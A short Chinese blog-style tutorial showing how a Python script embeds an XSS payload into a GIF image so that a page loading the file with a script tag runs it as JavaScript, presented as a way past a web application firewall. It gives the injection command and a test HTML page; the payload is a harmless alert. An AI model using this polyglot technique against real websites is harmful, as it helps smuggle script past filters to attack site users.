假设如果XSS的PayLoad被拦截,那么把XSS的PayLoad放到载体里面,这样会不会Bypass呢?

一个正常的gif图片加上一个XSS的PayLoad,然后通过脚本将XssPayload注入到图片里面:

利用Python脚本将PayLoad注入到图片里面

python jsingif.py -i hack.gif "javascript:alert('Power_Liu')"

图片
然后用记事本打开图片看看:
图片
可以看出:图片末尾有这样一串代码:*/=1;javascript:alert('Power_Liu');
为了验证这个XSS是否生效,这里用到Html测试代码:

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<title>Power_Liu—Test-XSS</title>
</head>
<body>
<img src="hack.gif"\>
<script src= "hack.gif"> </script>
</body>
</html> 
</html> 

打开后的testxss.html:
图片

script标签把图片当成JavaScript代码执行了,因为我们把乱码的数据通过多行注释/**/给注释掉了,所以JavaScript会执行我们的PayLoad,这样可以绕过WAF